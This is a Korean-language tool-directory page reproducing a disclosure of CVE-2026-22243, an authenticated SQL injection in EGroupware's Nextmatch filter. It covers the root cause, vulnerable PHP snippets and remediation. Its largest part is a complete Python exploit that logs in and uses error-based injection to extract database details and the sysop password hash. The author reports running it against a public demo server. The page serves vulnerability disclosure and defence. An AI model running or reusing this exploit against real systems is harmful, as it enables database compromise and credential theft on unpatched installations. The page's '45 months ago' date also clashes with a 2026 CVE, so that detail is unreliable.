Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware의 Nextmatch 필터 처리에 SQL 인젝션 취약점이 있습니다. | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2026-22243
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware의 Nextmatch 필터 처리에 SQL 인젝션 취약점이 있습니다.

저장소 보기
45개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-22243: EGroupware Nextmatch 필터 처리에서의 SQL 인젝션

개요

필드세부 정보
CVE IDCVE-2026-22243
심각도HIGH
보안 권고보안 권고 보기
발견자Lukasz Rybak

영향을 받는 제품

  • egroupware/egroupware (버전: < 23.1.20260113)
  • egroupware/egroupware (버전: >= 26.0.20251208, < 26.0.20260113)

CWE 분류

  • CWE-89: SQL 명령에서 사용되는 특수 요소의 부적절한 중화('SQL 인젝션')

세부 사항

요약

Nextmatch 위젯 필터 처리에서의 심각한 인증된 SQL 인젝션

EGroupware의 핵심 구성 요소, 특히 Nextmatch 필터 처리에 심각한 SQL 인젝션 취약점이 존재합니다. 이 결함으로 인해 인증된 공격자가 데이터베이스 쿼리의 WHERE 절에 임의의 SQL 명령을 주입할 수 있습니다. 이는 JSON 디코딩이 숫자 문자열을 정수로 변환하여 애플리케이션에서 사용하는 is_int() 보안 검사를 우회하는 PHP 유형 저글링(type juggling) 문제를 악용하여 달성됩니다.

세부 정보

근본 원인 분석 이 취약점은 데이터베이스 추상화 계층(Api\Db)과 고수준 저장소 클래스(Api\Storage\Base, infolog_so)가 "Nextmatch" 위젯에서 사용되는 col_filter 배열을 처리하는 방식에 존재합니다.

애플리케이션은 배열 키가 신뢰할 수 있는 원시 SQL 조각인지 여부를 확인하기 위해 is_int($key)를 사용하여 입력을 검증하려고 시도합니다. 그러나 JSON 기반 POST 요청을 처리할 때 PHP의 json_decode는 숫자 문자열 키(예: "0")를 자동으로 네이티브 정수로 변환합니다.

결과적으로 공격자는 숫자 키를 포함하는 연관 배열이 담긴 JSON 페이로드를 전송할 수 있습니다. 애플리케이션은 이러한 키를 정수로 해석하고(is_int가 true를 반환) 악성 SQL이 포함된 관련 값을 쿼리에 직접 무비판적으로 추가합니다.

취약한 코드 위치

  1. 파일: sources/egroupware/api/src/Db.php (약 1776행) 메서드: column_data_implode
root@kitploit:~
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. 파일: sources/egroupware/api/src/Storage/Base.php (약 1134행) 메서드: parse_search
root@kitploit:~
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

로컬 Docker 인스턴스에서 이 취약점을 검증했으며, 공개 데모 인스턴스(demo.egroupware.net)에서도 (읽기 전용으로) 확인했습니다.

자동화된 익스플로잇 스크립트: 다음 스크립트는 로그인, exec_id 추출, 오류 기반 SQL 인젝션(Error-Based SQL Injection)을 통한 데이터 유출을 자동화합니다.

root@kitploit:~
import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

demo.egroupware.net에서의 검증 증거:

프로덕션과 유사한 환경(읽기 전용)에서 악용 가능성을 확인하기 위해 공개 데모를 대상으로 스크립트를 실행했습니다. 이미지

영향: 낮은 권한만 가진 공격자도 데이터베이스를 완전히 손상시킬 수 있습니다. 이를 통해 다음이 가능해집니다:

  • 기밀성 손실: 민감한 데이터(예: 비밀번호 해시, 세션 토큰, 개인 연락처 정보, 구성 비밀값) 읽기.
  • 무결성 손실: 애플리케이션 내 임의 데이터 수정 또는 삭제.
  • 가용성 손실: 테이블 삭제 또는 데이터 손상 가능성.

해결 방안

1. 입력 검증(화이트리스트) 외부 입력, 특히 키가 숫자 문자열일 수 있는 JSON 데이터를 처리할 때 보안 결정을 위해 is_int()에만 의존하지 마십시오. Nextmatch 위젯에서 필터링에 허용되는 열 이름에 대한 엄격한 화이트리스트(허용 목록) 를 구현하십시오. 키/열이 화이트리스트에 없으면 요청을 거부하십시오.

2. 매개변수 바인딩 모든 필터 값이 SQL 문자열에 직접 연결되지 않고 매개변수(준비된 문)로 바인딩되도록 하십시오.

3. 엄격한 유형 검사 JSON 입력을 처리할 때 키가 SQL 생성 로직에 사용되기 전에 예상 유형과 엄격히 일치하는지 확인하십시오(예: ===를 사용한 엄격한 비교 또는 filter_var 사용).

크레딧

보고자: Łukasz Rybak

참고 자료

  • https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22243
  • https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
  • https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
  • https://github.com/advisories/GHSA-rvxj-7f72-mhrx

면책 조항

본 CVE는 조율된 취약점 공개(coordinated vulnerability disclosure) 관행에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드